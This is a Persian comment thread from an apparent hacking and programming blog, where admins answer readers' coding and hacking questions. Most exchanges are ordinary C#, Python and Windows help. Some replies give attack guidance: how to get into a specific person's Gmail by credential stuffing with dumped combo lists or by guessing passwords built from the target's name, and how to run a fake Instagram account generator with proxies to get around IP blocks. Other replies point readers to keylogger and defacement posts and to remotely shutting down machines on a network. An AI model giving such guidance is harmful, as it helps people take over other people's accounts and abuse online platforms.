    Mr admin تو این وبلاگ اداره میکنی
    Virus 32 :
    آره
    سلام


    میدونم با فتا مشکل پیدا میکنی ولی نفوذ به سیستم رو بذار

    خیلی آقایی
    دمت گرم
    جواب اون سوال ما رو هم بده
    سلام ببخشید میشه اموزش هک ایمیل(اکانت کسی در ایمیل) رو بزاری؟
    فکر نکنم کسی جز تو بتونه یاد بده چند تا سایت رفتم همش یا الکی بود یا از کار افتاده لطفا اموزشش رو بزار
    MR C0D3R :
    سلام
    من نفوذ کردن به ایمیل رو بلد نیستم
    بنظرم بهترین روش برای اینکار اینه که اول از همه
    یه کمبوی درست و درمون دامپ کنیم و بعدش روی سایت
    جیمیل یا ... تست کنیم که ببینیم کدوم با رمز و ... هم خونی داره
    که مطمئنم این روش به درد شما نمیخوره چون شما دنبال یه چیز میگردی
    که بتونی یه جیمیل خاصی رو هک کنی که برای این روش هم فقط اینو میدونم
    که میتونی یه لیست پسوورد از اسم و فامیل اون شخص که قراره ایمیلشو بزنی و کلی
    چیزای دیگه در بیاری و بعدش با اونا پسوورد درست کنی و روی جیمیلش تست کنی
    که برای اینکار هم میتونیم کرکرش رو درست کنیم و ...
    اگه به غیر از اینا میخوای باید بگم من بلد نیستم ;)
  • Virus32
  • علیرضا آهنی
  • یه سوال من کد زیر رو نوشتم ولی میزنه 0 !
    Numberz1 = input ("Numberz 1 + Enter = ")
    Numberz2 = input ("Numberz 2 + Enter = ")
    Numberz3 = 0
    Numberz4 = 0
    while Numberz3 == Numberz2 :
    Numberz4 = Numberz4 + Numberz2 + Numberz1
    print Numberz4
    MR C0D3R :
    آخرای این پست جوابتو دادم
  • Virus32
  • علیرضا آهنی
  • اینجا روش باز کردن پورت رو گفتین :
    http://virus32.blog.ir/post/باز-کردن-پورت-در-سی-شارپ
    چیکار کنیم که دیگه اون فرمه نیاد ؟
    MR C0D3R :
    قبلا کدشو یکی از کاربرا تو یکی از
    کامنت های یکی از پست ها گفته
    الان خودت بگرد پیداش کن
    مربوط به همین سی شارپ هم هستش پسته
    من اگه بخوام بگم ویروس چون بار ها پیچونده
    از دستم ناراحت میشه
    پس باید اینجوری بگم که خودت بری دنبالشو تنبل نشی D;
    حالا من چطور کرکر درست کنم؟ببین میتونی مثلا یک چیزی درست کنی که از a_z و ۰-۹ امتحان کنه رو یه ایمیل؟کرکر ها اکثرا از کار افتادن
    MR C0D3R :
    آموزش درست کردن کرکر رو داده بودم
    اما چون کرکر یه سایت ایرانی رو درست کرده بودیم
    بخاطر همین خلاف قوانین بود که باعث شد
    پیش نویسش کنم اما بزودی منتشرش میکنم
    آره میتونم درست کنم
    اما بنظر خودت اونجوری خیلی طول نمیکشه
    کرکر جیمیل سراغ نداری ؟ از کار افتاده نباشه
    MR C0D3R :
    نه سراغ ندارم
    خودم قبلا یه اسکریپت برای اینکار نوشته بودم
    اونم از کار افتاده
    مثلا چقدر طول میکشه؟نتیجه هم میده ؟اگه میده برام درست می کنی؟
    Terminator 32 :
    اینجا هیچکس واسه کسی کاری انجام نمیده :)
    یاد هم نمی دی ؟
    MR C0D3R :
    اینو برای تو آماده کردم
    بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است
    سلام ***
    چقدر دلم برا فحش دادن بهت تنگ شد ****
    کجایی؟
    چکارا میکنی؟
    هیچ خبری ازت نداشتم ******
    اومدی یه سر بهم بزن
    MR C0D3R :
    سلام
    یا خدا این بازم پیداش شد
    مطمئنم ویروسم دلش برای فحش دادن بهت تنگ شده
    منتظر بمون میاد سراغت
    ولی ای کاش اینجا بحث میکردین
    قول میدادم کنار وایستم و فقط بخندم
    خیلی وقت بود کامنت نداده بودی
    بهت سر میزنه ...
    مطمئنم میاد میگه سلام چصافت D:
    سلام

    آموزش کپچر کردن کرکر رو ممنون میشم بزاری
    MR C0D3R :
    سلام
    کرکر نویسی رو چون خودم یاد گرفتم
    بخاطر همین نمیدونم چطور روی کپچر کردن کار کنم
    بعدها ببینم چی میشه ...
    سلام داداش
    یه سوال داشتم
    فرق cmd و PowerShell چی هستش ؟؟؟؟؟؟؟؟؟؟؟؟
    Virus 32 :
    سلام عزیز
    فرق زیادی نداره
    همون سی ام دی خودمونه با یسری کدهای اضافی و بیشتر (قبلا زیر یه پستی توضیح داده بودم)
    در کل دستورات cmd رو اجرا میکنه بعلاوه یسری کدهای سی شارپ که اگه برنامه نویسی بلد باشی خودت میتونی تو یه رابط گرافیکی زیبا کدها رو تو یه برنامه بسازی و برای همیشه ازش استفاده کنی و اگه برنامه نویسی بلد نباشی هم Power Shell اصلا به دردت نمیخوره !!!
  • Virus32
  • علیرضا جاودان
  • بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است
    آقا من چجوری میتونم یه فایل پسورد رو از اینجا بکشم بیرون اگه بلدی بگو یا به ایمیلم بفرست

    **************************
    **************************

    لینک هارو سانسور کن
    MR C0D3R :
    پسوورد چی هست ؟
  • Virus32
  • علیرضا جاودان
  • مال یه بازی xbox که دوگیگه 4 ساعت طول کشید تا دانلود شه
    MR C0D3R :
    نمیدونم
    اما اونجا زده ها چطور میتونی Unlock کنی
    اونارو بخون اگه انگلیسیت خوب نیست از مترجم های آنلاین مثل گوگل ترنسلیت و ...
    استفاده کن
  • Virus32
  • علیرضا جاودان
  • راستی پسورد مال یه فایل rar هست همین قدر هم میدونم که رمزش خیلی بلند و چرت و پرته و با برنامه یا این چیزا بدست نمیاد
  • Virus32
  • علیرضا جاودان
  • این read me فایل هستش بخون ببین چی میگه
  • Virus32
  • علیرضا جاودان
  • بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است
    ******************************************************
    MR C0D3R :
    کلیک کن
    سلام داداش ببخشی من نه به سایت خارجی میرم نه فیلتر شکن روشن می کنم و بازی انلاین بازی می کنم که اونم خارجی نیست ایرانیه بعد الان دارم نگاه می کنم 1 ساعت 1 گیگ پریده چرا !/
    زده ترافیک بین المللی ظریب 2 * چرا ؟ میتونید کمکم کنید
    MR C0D3R :
    سلام
    مگه وایرلس نداری ؟ خب شاید اعضای خانواده مصرف کردن
    شاید اون بازیه ایرانی باشه و سروراش خارجی
    یا شاید رمز مودمتو کسی داره و باهاش وصل میشه به فیلتر شکن و میره تلگرام یا ...
    یه زنگ بزن به پشتیبان آی اس پی خودت و مشکلتو بهشون بگو
    بعدا اونا خیلی خوشگل گزارشو میزارن جلوت که سعی کن آی پی هایی رو که میگه یادداشت کنی
    بعدا با پشتیبان اون بازی صحبت کن ببین سروراشون چطوره ؛ یعنی خارجیه ، چیه و ...
    آمار اون آی پیارو قشنگ در بیار
    اینجوری بهتر میفهمی
  • Virus32
  • علیرضا آهنی
  • سلام . بازم من :|
    روش ساخت کرکر نرم افزار رو بزار. یعنی همون کاری که نرم افزار های قفل شکن انجام میدن
    MR C0D3R :
    سلام
    ساخت کرکر نرم افزار کاری نداره اما مشکل اینجاست
    برای ساخت کرکر یه برنامه قبلش باید اون برنامه ای که قراره کرکرش رو بنویسیم لایسنس یا ... ش رو در آورده باشیم تا بتونیم تو کرکر دستور این رو بدیم که برامون ردیفش کنه
    درست مثل این میمونه که برای تامین امنیت یه سیستم یا ...
    قبلش باید نحوه ی هک شدن اون رو بدونیم
    سلام:
    من یک روز با یکی از کار کنان شما در لوکس بلاگ به نام(Tik-Tak) صحبت کردم ایشون گفت که من به شما بگم که این بخش رو اداره کنم (بی شوخی)ام ام بی بلدم
    بعد ایشون به من گفت همین الان که با شما صحبت کرده الان چی کنم؟
    MR C0D3R :
    سلام
    تیک تاک یکی از رفقای قبلی ویروس هستش که خیلی وقته نیستش
    البته چند روز پیش کامنت گذاشته بود
    اما باهام هماهنگ نکرده که قراره کسیو بفرسته که اینجا نویسنده بشه
    ضمنا متاسفانه اینجا ظرفیت نویسنده هامون تکمیله (3 نفر) بخاطر همین نمیتونم ادمینت کنم
    در آخر اینکه خودمون اینجاییم فعلا نمیزاریم کامنتی بدون تایید بمونه یا ...
    سلام حاجی ویروس میگما الان که تقریبا سرت خلوت تر شده و داری برای وب وقت میزاری یه اقایییم بکن گروهو دوباره تشکیل بده ما حال کنیم ♥
    چند ماه پیشم به مستر کدر گفتم گفت ایشالله چند ماه دیگه
    Virus 32 :
    سلام عزیز
    راستش دیگه گروهی در کار نخواهد بود
    چه اینجا چه تو گروه همیشه قصد به اشتراک گذاشتن دونسته هامون بوده
    گروه وقت گیر تر و دردسر ساز تر میشه
    وقت کنم حرفامو اینجا میزنم
    با همه به اشتراک میزارم (نه با تعداد محدودی)
    سلام داداش من کاری که گفتی رو کردم با پشتیبان بازی صحبت کردم گفت نه این بازی فوقش بیشتر مصرف کنی 200 یا 33 مگابایت استفاده می کنه یکی از دوستان گفتن از برنامه ی تیم اسپیک تماس صوتی انلاین هست اونجا بهت اتک می دن و حجمت کم میشه نمی دونم راست می گفت یانه دیروز برنامه رو کلا پاک کردم الان دیگه حله همون 100 مگابایت یا 200 یا 300 میره سوالم اینه تو اتک حجمت کم میشه !؟
    سلام داداش در ضمن یک سوال من یک برنامه با پایتون ساختم که در ساعت مشخص یک پیام نشون بده میشه کمکم کنی من می خوام پیام رو بی سرو صدا نشون نده بیاد روی برنامه ها یعنی وقتی از گوگل استفاده می کنم یا اهنگ گوش می دم یا هرچی دیگه مثلا دسکتبم پره سرم شلوغه :D مثلا نمی دونم چطوری بگم مثلا ساعت مشخص در صفحه بالای همه ی برنامه ها نشون بده نمی دونم فهمیدی یا نه مثلا فرض کن یک برنامه رو باز کردم زمان می خواد باز شه در این زمان میرم گوگل بدون اینکه ارورو پایین گوگل باید من برم خودم نگاه کنم بالای گوگل ظاهر شه من تا اررو رو نخوندم نتونم به کارم ادامه بدم
    MR C0D3R :
    سلام
    متوجه نشدم ، میخوای یه برنامه درست کنی هر یه ساعت یبار
    یدونه پیغام بده یا یه صدایی پخش کنه که یادت بیفته باید کاری رو انجام بدی ؟
    سلام داداش اره فرض کن مثلا می خوام یک برنامه بسازم فرق نداره با کدوم زبان ساعتی که مشخص می کنم یک پیام رو یادم بندازه ولی مثلا یا یک صدا پخش کنه و بیاد وسط صفحه پیش از همه ی برنامه ها نمایش بده یادداشت رو
    MR C0D3R :
    سلام
    این پست و این پست رو نگاه کن
    میشه ویژیال استودیو رو توی لینوکس نصب کرد ؟ توی نت زدم فقط روش نصب ‌‌‌ویژیال کد بود که یه ادیتوره و نمیشه باهاش برنامه ایجاد کرد :!
    Virus 32 :
    به نظر من بهترین کار نصب ماشین مجازیه
    سلام ویروس جوووون O_o
    استاد یه سوال دیگه داشتم.

    چه کار کنیم یک پروژه #C وقتی اجرا شد تووی استارت آپ کپی شه؟
    MR C0D3R :
    سلام
    سلام داداش مرسی بالاخره سواله می خواستم بپرسم Break چیه !؟
    Virus 32 :
    Break دستور متوقف شدن حلقه ،  یا خارج شدن از حلقه رو میده
    سلام داداش مرسی برنامه کار کرد فقط نمیشه یک صدایی را پخش کرد یک اهنگ یا ....
    Virus 32 :
    سلام
    ببخشید سوالام زیاده(آخه تازه کد نویسی رو شروع کردم و با سایت شما آشنا شدم)
    آیا شما ویروس نویسی هم بلدین؟
    آیا برای بعضی از کد نویسی ها به اینترنت نیازه؟
    اگر کسی آی پی خصوصی شما رو داشته باشه میتونه هکتون کنه(آموزش گرفتنشو گذاشتین)
    اگر ما آی پی رو طرفو داشت باشیم برای هک کجا باید وارد کنیم؟
    آیا میتونیم از رایانه خودمون آی پی طرفو بدست بیاریم؟
    شما واقعی ترین و بهترین سایتی هستید که دیده ام(ممنون اگر جواب بدید)
    MR C0D3R :
    من نه ولی ویروس 32 چرا :)
    __________
    اگه منظورت سیستم خودمونه که آره حتما باید وصل باشه
    چون بعضی وقتا به ارور های برنامه نویسی میخوریم که مجبوریم تو گوگل بگردیم دنبالشون
    وگرنه خشک و خالی باید بشینیم وقتمونو بگذرونیم که آخرش معلوم نیست بتونیم حلش کنیم یا نه
    __________
    داخل شبکه آره ولی بیرون از شبکه نه
    __________
    نمیدونم
    __________
    بستگی داره تو چه شرایطی باشیم
    مثلا قدیم مدیما که مودم های دیال آپ مود بود
    وقتی داشتیم با یارو چت میکردیم ، خیلی راحت میتونستیم از طریق cmd آی پی یارو رو بدست بیاریم
    __________
    ممنون نظر لطفتونه ;)
    سلام عزیز وقتت بخیر.
    بازهم مزاحم همیشگی اومد
    و باز هم سوال های همیشگی
    میخواستم بدونم کدی هست در #C که بشه باهاش دکمه Alt رو غیرفعال کرد که دیگه کاربر نتونه از طریق Alt+Ctrl+Delete از برنامه خارج بشه.
    ممنون میشم راهنماییم کنید.
    MR C0D3R :
    سلام عزیز ممنون
    این پست رو برای تو نوشتم :)
    سلام به همگی
    بازم منم مزاحم شدم
    خداییش یه سوال داشتم فضولی نشه
    شما ( ویروس و مستر کدر و بقیه ادیمینا ) چن ساله تو کار برنامه نویسی و اینا هستید ؟؟؟؟؟
    ولله من تقریبا یه ساله دارم سی شارپ کار می کنم از ساده ترین بحث ها به زور حالی میشم و همش ناامید میشم
    شما چه قدر طول کشید که به این درجه از علم و شناخت رسیدید ؟؟؟؟
    سلام
    میگم ایدی تلگرامت رو میدی داشته باشم میخوام اگه شد هروقت تونستم سوال کنم و اینکه سایتت عالیه ممنون بابت اموزش و حداقل اگه نخواستی یک پیام به این ایمیل که زدم بفرست از اونجا بعضی مواقع سوال کنم
    و سوال O_o چطور صفحه دفیسی درست کنیم که نتونه از هیچکدوم از دکمه ها استفاده کنه و اطلاعاتش برا ما هم فرستاده بشه اگه همچین صفحه هست بگو؟؟؟؟
    MR C0D3R :
    سلام
    آی دی تلگرام جیزه
    و اما جواب سوالت اینکه
    پست های مربوط به کیلاگر ها ، صفحه دیفیس سیستم ، غیر فعال کردن کیبورد رو بخون (پست های زیادی تو این وب هست بگرد سعی کن همه رو تست کنی)
    منظورت از اطلاعات چه اطلاعاتی هست؟
    وقتی کیبورد غیر فعاله ....
    و اینکه برای ارسال کردن فایل هاش به ایمیل یا سرورت با سرعت اینترنت ایران خیلی طولانی خواهد شد
    سلام ذنبال برنامه
    iGramTool - instagram account creator گشتم ولی متاسفانه بی جنبه های ایرانی ک فقط پولی میدن ک نمیشه اعتماد کرد ولی تو سایتای خارجی میشه اخرین نسخه کرک شده رو پیدا کرد ولی من نمیتونم دانلود کنم کار خودته ویروس جون خیلی بهش نیاز دارم
    MR C0D3R :
    سلام
    شرمنده داشی من وقت ندارم حتی بیام کامنت تایید کنم
    چه برسه به اینکه بخوام برای کسی چیزی پیدا کنم
    آخرای این پست رو بخون
    سلام داداش خسته نباشی
    کجای خضرائی میشینی ک آنقدر ادرس وبت اونجا رو دیوار هاس
    اینجوری آموزش هات خز میشه :(
    MR C0D3R :
    سلام
    خضرائی دیگه کجاست ؟ :/
    سلام




    حاج ویروس یه پیشنهاد دارم
    الان که دو سه نفر بیشتر نیستین توی وب پست میزارین میگما یه گروهی بزن چند نفرم جمع کن یه اموزشی چیزی بده که هم اونا به نون و نوایی برسن هم شما دست تنها نباشین.




    مطمئنم جوابت منفیه میگی وقت ندارم و کار دارم یا هم این که همین دو نفر بسه و اینا خلاصه اگه جوابت منفی بود اصلا این کامنتو تاییدش نکن اگه هم مثبت بود که هر جور خودت دوس داری



    دمت گرم با این وبلاگ خوبت♥
    فعلا خدافظ
    MR C0D3R :
    سلام
    بنظرم حق با ویروسه
    اگه قراره آموزشی قرار بگیره
    بهتره که همگانی منتشر کنیم تا کاربرای دیگه هم استفاده کنن
    به جای اینکه تعداد افراد محدودی به یه آموزش دسترسی پیدا کنن
    هر جور صلاحه
    سلام ویروس عزیز از چند وقت پیش تصمیم گرفتم برنامه نویسی شروع کنم به نظر شما بهتره از کدومش شرع کنم بهتره و پایه مو قوی میکنه
    Terminator 32 :
    شما باید ببینی به چی علاقه داری و از پایه شروع کنی تا وقتی به مراتب بالاتر رسیدی جایی کمبود نداشته باشی
    ببخشید میخواستم بدونم برنامه نویسی ویژوال بیسیک بهتره با c (برای یاد گیری اول کدوم بهتره)
    MR C0D3R :
    اولش بهتره از ویژوال بیسیک شروع کنی
    چون نسبت به سی ساده تره بخاطر همین 
    یه خرده برای آشنایی با برنامه نویسی بهتره
    سلام ویژه به V i R u s Ʒ² جوون و MR C0D3R عزیزم

    میخواستم ازتون بپرسم میشه آموزش بدید که چه طور ویروسمون رو وارد بایوس کنیم که با از عوض کردن ویندوز هم از بین نره؟!؟
    MR C0D3R :
    سلام
    تغییرات تو بایوس سیستم از طریق برنامه نویسی و ...
    چون تاثیرات مخربی داره بخاطر همین نمیتونیم اونجور چیزارو توضیح بدیم
    اما اگه تو کامنت ها یه چرخ بزنی قبلا نحوه ی کار با بایوس سیستم تو
    سی شارپ و سی پلاس پلاس رو برای یکی از کاربرا گفته بودیم
    البته توی اون روش گفته بودیم چطور میشه سیستم رو توی یه ساعت مشخص روشن کرد (با تغییر تو بایوس)
    که البته اونم کامل نبود چون میگم تاثیرات مخربی داره بخاطر همین نمیشه کامل توضیح داد
    سلام وقت بخیر (همونیم ک دیوار خضرائی گفتم)
    چرا آدرس رو از رو دیوار ها پاک میکنی، من فقط میخواستم ببینم اگ میشه بهم یاد بدی من خیلی علاقه دارم، اما هیچی مثل معلم بالاسر نمیشه ممنون میشم اگ جواب همو بدی
    MR C0D3R :
    سلام ممنون
    یعنی چی آدرس رو از رو دیوار ها پاک میکنی؟ خضرائی چیه؟ شهر؟ سایت؟ مجموعه؟
    فکر نکنم از ادمین های اینجا کسی رو دیواری چیزی نوشته باشن که بخوان پاکش کنن
    ما کلاس خصوصی نداریم
    هرچی هست اینجا مینویسیم
    سلام داداشی اون برنامه ک گفتم میشه بی نهایت اکانت اینستا ساخت رو پیدا کردم
    تو فیلم اموزشی دیدم ک از داخل برنامه دوتا کادر وجود داره ک باید ادرس دهی(brows) کنی به دوتا فایل که
    ی فایل نوشته بود fake mail
    ی فایل نوشته بود 1.5 k publis proxy
    میشه الان راهنمایی کنی من این دوتا فایل رو از کجا پیدا کنم؟
    من الان گیر دوتا فایل پروکسی ها و میل ها هستم ک بتونم کارمو تموم کنم
    MR C0D3R :
    سلام
    با توضیحاتی که دادی میشه متوجه شد که برنامه چطور کار میکنه !!!
    اون برنامه به این شکل کار میکنه که با یه لیستی از ایمیل های جعلی
    و اسم های تصادفی و بازم جعلی تو سایت اینستاگرام اکانت میسازه
    بعدا اون پروکسی رو هم که میگیره جریانش اینه که اگه خدایی نکرده آی پیت توی
    سایت اینستاگرام بلاک شد ;) با اون پروکسی ها آی پی رو تغییر بده و به کار خودش ادامه بده
    و اما جواب سوالت اینکه تو هم میتونی ایمیل های الکی از خودت توی یه فایل متنی بنویسی
    مثلا یه اسم های چرت و پرت و ... یا اینکه میتونی از سایت های ایرانی یا خارجی
    ایمیل لیست دانلود کنی و برای پروکسی هم اینکه یه سر به این پست بزن
    و بعد از اینکه پروکسی ساختی در قالب یه فایل متنی ذخیره کن
    در نهایت هم داخل اون برنامه به جای فیک میل آدرس ایمیل لیستت رو بده یا همون آدرس فایل متنی که
    از خودت ایمیل های تصادفی و چرت و پرت نوشتی و بعدشم پروکسی لیستت رو بده و ...
    سلام خسته نباشید. نمیشه ویندوز رو حذف کنم و کالی رو نصب کنم یا حتما باید روی ماشین مجازی اجراش کنم؟ یا مثلا چطور میشه روی فلش بوت کنم
    MR C0D3R :
    سلام
    چند تا کار میتونی بکنی
    1 -> تنها لینوکس رو روی سیستمت نصب و اجرا کنی
    2 -> لینوکس و ویندوز رو روی یدونه سیستم نصب کنی و وقتی که سیستمتو روشن کردی یکیشو انتخاب کنی
    3 -> روی ماشین مجازی اجرا کنی
    4 -> میتونی لینوکس رو بریزی توی فلش و بدون نیاز به نصب کردن سیستم رو از طریق فلش بوت کنی و لینوکس بالا بیاری
    @مهران :
    اگه میخوای کالی رو استفاده کنی به نظرم روش 4 بهترینه ، چون توی ماشین مجاری از حداکثر قدرت سیستم استفاده نمیشه و باعث میشه نتونی استفاده خوبی از ابزار ها بکنی .
    Virus 32 :
    مرسی ♥
    سلام مجدد داداش
    چندتا فایل زیپ دانلود کردم خیلی ضروریه اما همش موقع استخراج این ارور رو میده
    http://uupload.ir/files/5gd_0512.png
    انتی ویروسم نود32 ک غیرفعال کردم ولی بازم خطا میده
    Virus 32 :
    سلام
    این پیام بخاطر یافت نشدن مسیر استخراج یا فایل استخراج هستش که دلایلش :
    نفوذ یک ویروس به فایل های درون رار
    فشرده سازی نامناسب
    نادرست نصب شدن برنامه وین رار
    آپدیت اشتباه ویندوز
    دانلود ناقص فایل وینرار
    ذخیره شدن فایل وینرار در مسیر نا مناسب (سعی کن در مسیر ها عبارت فارسی نباشه)
    اکثرا با نصب مجدد وینرار مشکل حل میشه
    سلام عزیزان . وقتتون بخیر.
    میشه توو سی شارپ کدی رو اضافه کرد که باهاش درایو یا یه فایل خاص رو با سرعت بالا حذف کرد چگونه؟
    باتشکر
    Virus 32 :
    سلام
    System.IO.File.Delete(nam);
    بجای nam اسم و مسیر فایلت رو باید بدی
    میتونی بجاش یه متغیر هم تعریف کنی تا آدرس رو از کاربر بگیره و ....
    System.IO.File.Delete(textBox1.Text);
    string b;
    System.IO.File.Delete(b);
    آره ولی خوب چون نصب کالی در کنار ویندوز یکم ریسک داره برای همین گفتم به صورت زنده بالا بیارش
    Virus 32 :
    دوست خوبم Mr_Coder پاسخ منو ویرایش کرده بود و یادش رفته بود اسم خودشو درج کنه
    منم با نظر شما موافقم
    برای شروع کار بهتره از یه سخت افزار دیگه استفاده بشه
    حالت زنده برای اینکه تست کنیم سخت افزار خوبه یا نه ساخته شده :)
    @عین الف
    اره تو راست میگی ولی فلش ندارم خخخ
    تو اهنی نیستی؟
    عجب چت رومی درست کردی ویروس
    ممنون
    Virus 32 :
    O_o
    D:
    بیخیال
    به نظرت ابزار های کالی رو نصب کنم روی ابونتو خوب کار میکنه یا ....
    Virus 32 :
    آره اگه خوب نصبشون کنی تقریبا هیچ فرقی باهم ندارن
    البته نصبش زیاد هم سخت نیست مثل نصب کردن درایورهای ویندوز به کمک یه درایور پکه :)
    بله ممنون
    @مهران :
    فلش نداری ؟ یا خدا :| چی داری پس ؟
    @مهران :
    اگه ابزار های کالی روی اوبونتو نصب کنی جالب نمیشه ، مثل اینکه لقمه رو از گردن بپیچونی بیاره جلوی دهن :|
    سلام داش
    اگه میشه برای لینوکس هم آموزش بزار
    مرسی از وب خیلی خیلی خیلی خوبت
    MR C0D3R :
    سلام
    بهش فکر میکنم :)
    اما قول نمیدم
    سلام سلطان خوبی، ی مدت نبودم گفتم هم بیام ی حاضری بزنم هم اینکه با کتابخانه tkinter گفتم سورس ی برنامه ساده رو داری ک بشه توی ساخت برنامه های دیگه هم ازش استفاده کنیم، اگه هم ک نبود فدای سرت عزیز، چقد سنگینه اینجا تایپ کنی خیلی گیر میکنه کلمه ها، بازم ببخشید سلطان، فعلا
    MR C0D3R :
    سلام
    راستیتش من تا حالا با پایتون Tkinter زیاد کار نکردم
    و شاید چند تا برنامه با رابط گرافیکی مزخرف نوشته باشم (مثل این پست)
    اما سعی میکنم کنترل های اصلی برنامه رو در قالب یه پست در بیارم مثلا Button و ...
  • Virus32
  • علیرضا جاودان
  • سلام حاجی یه روش هست که برنامه تو بایوس اجرا میشه .
    اون رو برام بفرست
    Virus 32 :
    سلام عزیز
    اونو بلد نیستم
    جان منی سلطان، هر وقت تونستی اشکال نداره ثابت شده ای داداش
    سلام mr.coder شرمنده با سوالام وقتتو میگیرم
    تو جریان کار من با اون برنامه ک پروکسی لیست و ایمیل....میخواس هستی دیگه
    http://uupload.ir/files/jqg_215.png
    یه نگاه بنداز به این عکس
    کنار کادر یوزر نیم و نیم ی سری توضیحات نوشته به نظرت وقتی اون دوتا کادر رو میخام پر کنم باید طبق الگوریتم خاصی بنویسم؟مثلا:
    [lastname]_[random]

    MR C0D3R :
    سلام
    بگم بیخیالش شو بیخیالش میشی ؟
    این برنامه دقیق چیکار میکنه آخه ؟
    کلی اکانت فیک میسازه؟
    اکانت فیک میسازه بعدا با اونا یه اکانت خاصی رو فالو یا لایک میکنه ؟
    یا اصن چیکار میکنه ؟
    بیخیالش باو ;)
    سلام داداش، وقتتون بخیر.
    من دارم یه برنامه به زبان سی شارپ می نویسم که هر موقع ویندوز روشن شد بیاد سر صفحه و از کاربر رمز بخواد. ولی نمیدونم چه کار کنم که وقتی کاربر رمز رو اشتباه زد پیغام نشون بده که رمز اشتباه است. کمکم کن عزیز.
    MR C0D3R :
    سلام
    کاری نداره که....
    یه چیز تو مایه های صفحه لاگین درست کن (دو تا برچسب متن با اسم های نام کاربری و پسوورد ، دو تا کادر متن و یدونه هم دکمه)
    بعدا با دستورات شرطی بگو اگه کاربر فلان چیز زد فلان چیز نشون بده و چیزای دیگه ...
    که مثلا اگه سه بار کاربر رمز اشتباه زد سیستم خاموش بشه ...
    آخرشم برنامتو بزار توی استارت آپ که هر موقع سیستم روشن شد برنامت بالا بیاد
    درست کردن صفحه لاگین که کاری نداره و فقط کافیه شرطارو (If و Else و ...) رو بلد باشی و یه دیزاین بهش بدی که دیزاین رو بهت گفتم چیا بزنی تو صفحه
    برای کپی کردن برنامه توی استارت آپ هم میتونی این پست رو نگاه کنی
    اگه نتونستی صفحه لاگین درست کنی بگو یدونه صفحه ی الکی همینجوری برات بزنم و عکسشو بزارم بعدا کداشم بگم
    اما کاری نداره ها خود دانی !!! بنویس راه بیفتی
  • Virus32
  • علیرضا جاودان
  • داداش چطور میتونم برنامه ران یا همون run رو که با دکمه Win + R باز میشه رو غیرفعال کنم طوری که قابل استفاده نباشه البته از طریق رجیستری
    MR C0D3R :
    قبلا چند تا کد برای غیر فعال کردن اینجور چیزارو گفته بودم که
    کاربرا بتونن توی ویروس نویسی یا امنیت سیستم خودشون و ... ازش استفاده کنن
    عزیز توو سی شارپ چه کارکنیم که وقتی روی یه باتن کلیک کردیم یه برنامه یا یه فایل مورد نظر باز بشه
    کدشو میگی بی زحمت
    MR C0D3R :
    باید بزاری توی رویداد مورد نظرت
    System.Diagnostics.Process.Start(@"C:\Windows\System32\cmd.exe");
    هم میتونی کتابخونه ی Diagnostics رو اضافه کنی
    هم میتونی اینجوری استفاده کنی که دیگه اینجوری دیگه نیازی نیست کتابخونه ای اضافه بشه
  • Virus32
  • علیرضا جاودان
  • اون جا رو دیدم کار نکرد که نکرد

    هرچی هم بالا پایینش کردم درست نشد راه دیگه ای نیست
    MR C0D3R :
    امکان نداره
    از هر ویندوزی که استفاده کنی باید کار کنه (تستش کردم)
    یه نکته اینکه با دسترسی ادمین باز کن (راست کلیک و زدن روی Run as administrator )
    و بعد از اجرا هم سیستمت رو رستارت بده
    مستر کدر عزیز من تو و ویروس رو خیلی دوست دارم همچنین ادمین های دیگه رو . شرمنده من زیاد مزاحمتون میشم و زیاد سوال میکنم
    چون هرسوالی ذهنم رو مشغل کرد شما خیلی خوب کمک و راهنماییم کردید. من هر علمی در زمینه برنامه نویسی و هک و ویروس نویسی دارم گرچه اندک است ولی مدیون شما هستم خدا حفظتون کنه
    دوستتون دارم.
    MR C0D3R :
    من تا جایی که بلد باشم و بتونم
    حتما کمک میکنم
    حله داداش من ک فعلا بیخیال میشم ولی اخرش ی روز اینکارو تموم میکنم میام خبرشو میدم بهت ;)
    MR C0D3R :
    موفق باشی ... ;)
    سلام داداش کدر من همان طور که میدونی دارم پایتون یاد میگیرم یک سوال داشتم کد خروجی نوت پد از ورودی چیه !!! منظورم فرض کن یک ورودی از کاربر خواستیم : input("Enter a Text: ") خب بعدش می خوام هرچی تو این زد رو تو یک نوت پد در محلی که تعیین کردم ذخیره کنه میشه کمکم کنی
    MR C0D3R :
    سلام
    text = raw_input("Enter text => ")
    f = open("ViRus32.txt","w")
    f.write(text)
    f.close()
    سلام
    من یجا کامنت گذاشته بودم ولی یادم نمیاد کجا
    اون پست که درباره پیدا کردن و تغییر رمز ویندوز بود، کجا بود؟
    MR C0D3R :
    سلام
    سلام
    من چند روز پیش رفتم قسمت proccessor تسک منیجر
    برنامه های زیادی با فرمت های مختلفی دیدم که بصورت مخفیانه دارن کارمیکنن و cpu رو اشغال کردن
    یه پست راجع به این برنامه ها اگه میشه بذارین.یا همینجا جوابمو بدید.میخوام بدونم کدوماشون ویروسن که بشه حذفشون کرد و کدوماشون برنامه معمولی ان و اینکه اگه برنامه معمولی ان از کجا میشه غیرفعالشون کرد
    ممنون اگه جواب بدید :)
    MR C0D3R :
    سلام
    فکر جالبیه یه پست در موردش مینویسم
    چون جدیدا تو ویروس نویسی و ... هم مود شده که اسم برنامه های سیستمی رو
    قرار میدن جای پروژشون که اینم باعث سر در گمی کاربر برای پیدا کردن و بستن اون برنامه میشه
    بخاطر همین بهتره که یه پست راجبش نوشته بشه
    یه نکته هم بگم که اگه ویندوز هشت داری قسمت  Windows processes تو منوی Processer تسک منیجر رو بیخیال شو
    و بچسب به قسمت هایی مثل Apps و Background processes هر چی که داخلشون هستش رو خوب بررسی کن و...
    ویندوزم هفته

    آره . حتما یه پست راجع بهش بنویسین مطمئنا ازش استقبال میشه
    سلام ویروسی میخوام که هر که به شبکه وصل سیستمشون خاموش کنه
    و هرچی که به کامپیوترشون وصل خاموش کنه
    MR C0D3R :
    سلام
    قبلا ترفندای زیادی برای کار کردن تو شبکه گفته بودیم
    مثلا یکی از روش ها این بود که میتونستیم به cmd دسترسی داشته باشیم
    و دستور خاموش شدن سیستم رو توی شبکه بدیم
    این لینک و این لینک هم شاید بدردت بخوره
    سلام
    داداش شرمنده بازم مزاحم میشم
    اگه میشه آموزش گذاشتن favicon تو وبلاگهای بلاگ دات آی آر رو یا تو کانال یا تو وبلاگت بنویس
    ممنون
    درود
